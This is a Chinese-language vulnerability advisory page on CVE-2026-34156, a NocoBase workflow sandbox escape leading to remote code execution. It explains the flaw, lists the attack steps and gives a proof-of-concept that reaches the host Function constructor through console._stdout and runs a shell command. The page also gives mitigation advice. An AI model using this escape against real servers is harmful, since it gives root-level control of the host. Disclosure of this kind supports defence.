IPBUF安全漏洞报告
English
CVE-2026-34156 CVSS 9.9 严重

CVE-2026-34156 NocoBase沙箱逃逸致RCE漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34156
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NocoBase

相关标签

RCE沙箱逃逸NocoBaseNode.jsCVE-2026-34156

漏洞概述

NocoBase是一个无代码/低代码平台。在2.0.28版本之前,其工作流脚本节点在Node.js vm沙箱中执行用户提供的JavaScript代码。尽管通过环境变量控制了模块加载白名单,但传入沙箱的console对象暴露了主机领域的WritableWorkerStdio流对象(console._stdout和console._stderr)。经过身份验证的攻击者可以利用这一点遍历原型链,从而绕过沙箱限制,实现以root权限执行的远程代码执行(RCE)。该问题已在2.0.28版本中修复。

技术细节

该漏洞的核心在于Node.js vm模块的上下文隔离机制被绕过。NocoBase试图通过自定义require白名单来限制沙箱内的代码访问敏感模块,但开发人员将宿主环境的console对象直接传递到了沙箱上下文中。在Node.js中,console对象包含如_stdout和_stderr等流属性,这些对象引用了宿主环境的内部对象。攻击者可以在沙箱代码中访问console._stdout,并通过原型链遍历(如Object.getPrototypeOf)逐步向上查找,最终获取到宿主环境的Function构造函数。利用这个Function构造函数,攻击者可以在沙箱外部的作用域中构造并执行任意JavaScript代码,从而绕过vm模块的隔离,实现任意命令执行,且由于进程权限较高,可导致服务器被完全控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是NocoBase,且版本低于2.0.28。
STEP 2
获取访问权限
攻击者注册或获取一个低权限账户,利用CVSS向量中的PR:L(低权限用户)要求。
STEP 3
利用漏洞
攻击者创建或编辑工作流,在脚本节点中注入恶意JavaScript代码。
STEP 4
沙箱逃逸
恶意代码通过console._stdout遍历原型链,获取宿主环境的Function构造函数,从而逃逸出Node.js vm沙箱。
STEP 5
执行代码
攻击者在宿主环境中执行任意系统命令,获取服务器root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-34156 PoC Concept // The sandbox receives the host's 'console' object. // We can leverage internal properties to escape the vm sandbox. // 1. Access the internal stream object exposed via console const internalStream = console._stdout; // 2. Traverse the prototype chain to reach the base Object constructor // and eventually retrieve the host's Function constructor const HostFunction = Object.getPrototypeOf(internalStream).constructor.constructor; // 3. Use the HostFunction to execute code in the outer (host) context // 'process' is usually available in the global scope of Node.js const process = HostFunction('return process')(); // 4. Execute arbitrary system commands (e.g., RCE) process.mainModule.require('child_process').execSync('touch /tmp/pwned');

影响范围

NocoBase < 2.0.28

防御指南

临时缓解措施
如果无法立即升级,建议严格限制对Workflow Script Node功能的访问权限,仅授予完全受信任的管理员用户,并密切监控服务器进程的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表